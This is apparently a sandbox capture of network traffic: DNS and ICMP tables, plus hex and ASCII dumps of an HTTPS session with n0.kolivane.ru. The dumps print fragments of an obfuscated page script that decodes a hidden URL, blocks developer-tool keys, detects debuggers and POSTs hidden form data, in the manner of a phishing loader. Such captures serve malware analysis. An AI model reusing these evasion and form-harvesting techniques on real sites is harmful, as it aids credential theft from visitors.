Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 08:07:00.233428955 CET	53	53460	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:00.256283998 CET	53	56749	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:01.290278912 CET	53	58571	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:04.217503071 CET	54612	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:04.217879057 CET	64152	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:04.224350929 CET	53	64152	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:04.224369049 CET	53	54612	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:06.194308043 CET	52196	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:06.194870949 CET	59557	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:06.204833031 CET	53	59557	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:06.482090950 CET	53	52196	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.281966925 CET	64387	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.282155037 CET	55005	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.283811092 CET	62038	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.284308910 CET	64581	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.284825087 CET	51962	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.285010099 CET	64804	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.288813114 CET	53	64387	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.288826942 CET	53	55005	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.290385008 CET	53	62038	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.290968895 CET	53	64581	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.291511059 CET	53	51962	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.291814089 CET	53	64804	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.979146004 CET	51920	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.979326010 CET	62479	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:08.985865116 CET	53	51920	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:08.985975027 CET	53	62479	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:09.040786028 CET	51524	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:09.040916920 CET	53464	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:09.047580004 CET	53	53464	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:09.047590971 CET	53	51524	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:09.614319086 CET	53345	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:09.614514112 CET	60034	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:09.621068954 CET	53	53345	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:09.621279001 CET	53	60034	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:09.631865978 CET	58749	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:09.632019043 CET	58002	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:09.638528109 CET	53	58749	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:09.638628960 CET	53	58002	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:11.729501963 CET	56049	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:11.729635954 CET	51610	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:11.736195087 CET	53	56049	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:11.736572027 CET	53	51610	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:18.336106062 CET	53	64441	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:20.660391092 CET	138	138	192.168.2.4	192.168.2.255
Dec 30, 2024 08:07:22.352037907 CET	50914	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:22.352340937 CET	61985	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:22.443422079 CET	53	61985	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:22.540421009 CET	53	50914	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:24.254554033 CET	49735	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:24.254692078 CET	58755	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:24.350986004 CET	53	49735	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:24.405983925 CET	53	58755	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:27.172677994 CET	50904	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:27.172854900 CET	61412	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:27.175488949 CET	61714	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:27.175616026 CET	51849	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:28.171658039 CET	53112	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:28.171797037 CET	58351	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:28.202666044 CET	57726	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:28.202891111 CET	64789	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:37.302771091 CET	53	53075	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:42.027071953 CET	51713	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:42.027189970 CET	51241	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:43.441895962 CET	53014	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:43.442148924 CET	53320	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:54.922341108 CET	58132	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:54.922451973 CET	58381	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:54.929166079 CET	53	58132	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:54.929431915 CET	53	58381	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:55.994159937 CET	64726	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:55.994292021 CET	53890	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:57.050489902 CET	52683	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:57.050617933 CET	57185	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:57.050928116 CET	65471	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:57.051045895 CET	51937	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:57.935743093 CET	52825	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:57.935878992 CET	58908	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:58.207735062 CET	52610	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:58.207916975 CET	56385	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:58.214432955 CET	53	52610	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:58.215122938 CET	53	56385	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:58.762375116 CET	54324	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:58.762507915 CET	57847	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:59.382030010 CET	51924	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:59.382385015 CET	61671	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:07:59.388848066 CET	53	51924	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:59.389264107 CET	53	61671	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:59.716310024 CET	53	60629	1.1.1.1	192.168.2.4
Dec 30, 2024 08:07:59.834774971 CET	53	52090	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:00.071326971 CET	53	51705	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:00.724523067 CET	60870	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:00.724683046 CET	59065	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:00.731328011 CET	53	60870	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:00.731887102 CET	53	59065	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.554472923 CET	53	58685	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.576723099 CET	50427	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:02.576946020 CET	52694	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:02.583730936 CET	53	50427	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.583741903 CET	53	52694	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.625364065 CET	49448	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:02.625514030 CET	61240	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:02.631849051 CET	53	49448	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.632014990 CET	53	61240	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.990601063 CET	57002	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:02.990715981 CET	61933	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:02.997495890 CET	53	61933	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:02.997621059 CET	53	57002	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:03.713988066 CET	65292	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:03.715198994 CET	55116	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:03.720669985 CET	53	65292	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:03.722496986 CET	53	55116	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:03.799494028 CET	53	51352	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:04.041673899 CET	61090	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:04.041835070 CET	49658	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:04.042623043 CET	56486	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:04.042623043 CET	63975	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:04.048214912 CET	53	61090	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:04.048341036 CET	53	49658	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:04.049141884 CET	53	63975	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:04.049346924 CET	53	56486	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:05.938285112 CET	53	53265	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:05.938920021 CET	53	51970	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:06.034270048 CET	64549	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:06.034554958 CET	54837	53	192.168.2.4	1.1.1.1
Dec 30, 2024 08:08:06.041234016 CET	53	54837	1.1.1.1	192.168.2.4
Dec 30, 2024 08:08:06.041248083 CET	53	64549	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 30, 2024 08:07:24.406054020 CET	192.168.2.4	1.1.1.1	c2aa	(Port unreachable)	Destination Unreachable
Dec 30, 2024 08:07:25.331579924 CET	192.168.2.4	1.1.1.1	c2ea	(Port unreachable)	Destination Unreachable
Dec 30, 2024 08:07:27.201467037 CET	192.168.2.4	1.1.1.1	c27a	(Port unreachable)	Destination Unreachable
Dec 30, 2024 08:07:30.920157909 CET	192.168.2.4	1.1.1.1	c2ea	(Port unreachable)	Destination Unreachable
Dec 30, 2024 08:07:42.047621012 CET	192.168.2.4	1.1.1.1	c2d2	(Port unreachable)	Destination Unreachable
Dec 30, 2024 08:07:56.038657904 CET	192.168.2.4	1.1.1.1	c2d1	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:07 UTC	665	OUT	GET /da4scmQ/ HTTP/1.1 Host: n0.kolivane.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:08 UTC	1246	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wfpqI85RhIJnb8OgOzDX9iZUNb0qLr0IFCfvP3%2FoYAAxTx%2BOLIAfo4acgqkY18mHwzOjjvXAsjz%2FX2nH688HpPcRgOWNJdgI8PgZDhtXdHW9%2F3GUcfUoYM7rnn%2F1pw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&min_rtt=1155&rtt_var=453&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1569&delivery_rate=2465800&cwnd=252&unsent_bytes=0&cid=aca2be9ffe56069a&ts=426&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlJCd3BjYStJSFNFZGdFZ3U3aXpsUkE9PSIsInZhbHVlIjoiT0lBRGIzOXpWcTRlMDZ3RldCeGZQUXVUNi9WWjdOY0tSTnhPc0VqMW9MNkY4YUtaQzBGTHljU1RGdThsa1JFN3g2SjJwaE8zM0ZZZTVhOFNhNWhMMnRqMk93UjV0SVUxSUppcnVSSnJHbkVHblNsMU00RXlnNm9uSXpuN3pWMkkiLCJtYWMiOiJlNDhlNTNmODEzNjBjNGNmNGZmNzc1NTRhMTNmMDFkOTMzZTdmNGVlNTIxMzQxNzgwMTZmYmM5NmEyMDllZWNkIiwidGFnIjoiIn0%3D; expires=Mon, 30-Dec-2024 09:07:07 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-30 07:07:08 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4a 56 59 57 46 36 53 47 64 76 59 30 46 68 53 46 4e 53 55 7a 68 70 54 54 56 48 4e 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 30 35 72 53 45 68 74 52 30 78 70 53 33 42 52 57 45 31 50 52 47 6b 77 4e 33 42 59 4e 56 52 6f 55 45 64 73 4c 32 56 46 61 46 42 77 57 56 56 53 5a 30 35 72 61 33 6b 7a 4c 31 45 76 4d 54 4e 53 62 31 4e 6e 62 57 78 6d 64 45 51 31 61 45 4a 47 63 6d 31 45 55 6e 68 49 63 47 68 43 64 47 78 57 61 55 70 30 62 6c 68 73 56 31 52 71 55 46 64 49 4e 55 52 72 52 48 59 30 4b 33 4a 6e 55 56 64 6c 55 32 6b 72 62 47 70 4a 56 6b 31 45 59 33 64 56 53 33 42 6e 63 54 6c 50 53 44 68 32 57 58 70 54 4f 45 35 77 61 30 4a 6b 52 48 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlJVYWF6SGdvY0FhSFNSUzhpTTVHNkE9PSIsInZhbHVlIjoiZ05rSEhtR0xpS3BRWE1PRGkwN3BYNVRoUEdsL2VFaFBwWVVSZ05ra3kzL1EvMTNSb1NnbWxmdEQ1aEJGcm1EUnhIcGhCdGxWaUp0blhsV1RqUFdINURrRHY0K3JnUVdlU2krbGpJVk1EY3dVS3BncTlPSDh2WXpTOE5wa0JkRHk
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 34 64 64 38 0d 0a 3c 21 2d 2d 20 45 66 66 65 63 74 69 76 65 20 63 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 20 69 73 20 74 68 65 20 6b 65 79 20 74 6f 20 73 75 63 63 65 73 73 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 74 68 65 20 73 75 6d 20 6f 66 20 73 6d 61 6c 6c 20 65 66 66 6f 72 74 73 2c 20 72 65 70 65 61 74 65 64 20 64 61 79 20 69 6e 20 61 6e 64 20 64 61 79 20 6f 75 74 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 50 65 72 73 69 73 74 65 6e 63 65 20 69 73 20 74 68 65 20 6b 65 79 20 74 6f 20 61 63 68 69 65 76 69 6e 67 20 67 72 65 61 74 20 74 68 69 6e 67 73 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 45 61 79 35 72 62 32 78 70 64 6d 46 75 5a 53 35 79 64 53 39 6b 59 54 52 7a 59 32 31 52 Data Ascii: 4dd8... Effective communication is the key to success. -->... Success is the sum of small efforts, repeated day in and day out. --><script>/* Persistence is the key to achieving great things. */if(atob("aHR0cHM6Ly9Eay5rb2xpdmFuZS5ydS9kYTRzY21R
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 63 46 42 47 5a 56 70 34 59 32 77 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 56 6c 42 77 55 45 5a 6c 57 6e 68 6a 62 43 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 5a 51 63 46 42 47 5a 56 70 34 59 32 77 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4e 7a 4a 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 Data Ascii: cFBGZVp4Y2wgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVlBwUEZlWnhjbCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1ZQcFBGZVp4Y2wuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNzJweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXg
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 Data Ascii: GRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNv
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 35 30 5a 58 4a 32 59 57 77 6f 5a 6e 56 75 59 33 52 70 62 32 34 6f 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 46 6c 6b 57 58 46 79 62 57 74 31 52 46 4d 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 45 6c 7a 53 6b 70 7a 64 6b 5a 78 64 55 51 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 45 6c 7a 53 6b 70 7a 64 6b 5a 78 64 55 51 67 4c 53 42 5a 5a 46 6c 78 63 6d 31 72 64 55 52 54 49 44 34 67 65 57 78 48 57 48 64 6c 59 57 46 4d 61 69 41 6d 4a 69 41 68 56 6d 5a 77 54 Data Ascii: 50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IFlkWXFybWt1RFMgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IElzSkpzdkZxdUQgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKElzSkpzdkZxdUQgLSBZZFlxcm1rdURTID4geWxHWHdlYWFMaiAmJiAhVmZwT
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6c 56 75 61 32 35 76 64 32 34 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 5a 47 46 30 59 53 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 62 30 68 69 63 6d 5a 6a 59 55 70 6e 65 53 49 2b 44 51 70 46 62 6e 4e 31 63 6d 6c 75 5a 79 42 35 62 33 56 79 49 47 4a 79 62 33 64 7a 5a 58 Data Ascii: kZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9IlVua25vd24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRkYXRhIiBuYW1lPSJibHRkZGF0YSIgdmFsdWU9IiI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0ib0hicmZjYUpneSI+DQpFbnN1cmluZyB5b3VyIGJyb3dzZX
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 64 47 56 34 64 43 41 39 50 53 41 77 4b 58 73 4e 43 69 41 67 49 43 42 6d 5a 58 52 6a 61 43 68 74 63 55 64 4a 59 58 70 43 55 45 64 4d 4c 43 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 31 6c 64 47 68 76 5a 44 6f 67 49 6c 42 50 55 31 51 69 4c 41 30 4b 49 43 41 67 49 43 41 67 49 43 42 69 62 32 52 35 4f 69 42 75 5a 58 63 67 52 6d 39 79 62 55 52 68 64 47 45 6f 57 56 64 4c 65 48 52 61 51 55 68 51 54 53 6b 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 4a 6c 63 33 42 76 62 6e 4e 6c 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6d 70 7a 62 32 34 6f 4b 54 73 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 47 52 68 64 47 45 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 Data Ascii: dGV4dCA9PSAwKXsNCiAgICBmZXRjaChtcUdJYXpCUEdMLCB7DQogICAgICAgIG1ldGhvZDogIlBPU1QiLA0KICAgICAgICBib2R5OiBuZXcgRm9ybURhdGEoWVdLeHRaQUhQTSkNCiAgICB9KS50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICB9KS50aGVuKGRhdGEgPT4gew0KICAgICA
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 3d 3d 3d 20 47 61 4a 6b 47 6c 4e 44 41 6d 20 3f 20 70 45 68 58 47 78 4e 59 6f 6f 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 70 45 68 58 47 78 4e 59 6f 6f 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 0d 0a 69 66 28 69 59 67 74 46 79 77 62 51 62 20 3d 3d 20 47 61 4a 6b 47 6c 4e 44 41 6d 29 7b 0d 0a 63 6f 6e 73 74 20 4b 43 6b 52 73 71 56 52 70 41 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 70 45 68 58 47 78 4e 59 6f 6f 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 70 45 68 58 47 78 4e 59 6f 6f Data Ascii: === GaJkGlNDAm ? pEhXGxNYoo.hostname : pEhXGxNYoo.hostname.split('.').slice(-2).join('.');if(iYgtFywbQb == GaJkGlNDAm){const KCkRsqVRpA = window.location.pathname.split('%23')[0].split('%3F')[0];if (pEhXGxNYoo.pathname.endsWith('/')) {pEhXGxNYoo
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 44 6f 78 4c 6a 49 37 66 51 30 4b 49 31 5a 51 63 46 42 47 5a 56 70 34 59 32 77 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 31 5a 51 63 46 42 47 5a 56 70 34 59 32 77 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 56 6c 42 77 55 45 5a 6c 57 6e 68 6a 62 43 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 5a 51 63 46 42 47 5a 56 70 34 59 32 77 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 Data Ascii: DoxLjI7fQ0KI1ZQcFBGZVp4Y2wgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1ZQcFBGZVp4Y2wgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVlBwUEZlWnhjbCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1ZQcFBGZVp4Y2wuY2FwdGNoYS1jb250YWluZXJ7
